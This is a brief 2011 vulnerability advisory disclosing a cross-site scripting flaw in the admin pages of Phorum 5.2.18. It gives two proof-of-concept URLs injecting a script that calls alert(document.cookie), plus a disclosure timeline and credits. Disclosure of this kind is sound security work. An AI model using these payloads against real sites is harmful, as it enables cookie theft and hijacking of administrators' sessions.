Advisory: Phorum 5.2.18 Cross-site scripting vulnerability Advisory ID: SSCHADV2011-023 Author: Stefan Schurtz Affected Software: Successfully tested on Phorum 5.2.18 Vendor URL: http://www.phorum.org/ Vendor Status: informed CVE-ID: - ========================== Vulnerability Description: ========================== Phorum 5.2.18 is prone to a Cross-site scripting vulnerability ================== Technical Details: ================== http://<target>/phorum-5.2.18/admin/"</script><script>alert(document.cookie);</script></script> http://<target>/phorum-5.2.18/admin/index.php"</script><script>alert(document.cookie);</script></script> ========= Solution: ========= - ==================== Disclosure Timeline: ==================== 02-Oct-2011 - informed developers 03-Oct-2011 - release date of this security advisory ======== Credits: ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References: =========== http://www.phorum.org/ http://www.rul3z.de/advisories/SSCHADV2011-023.txt
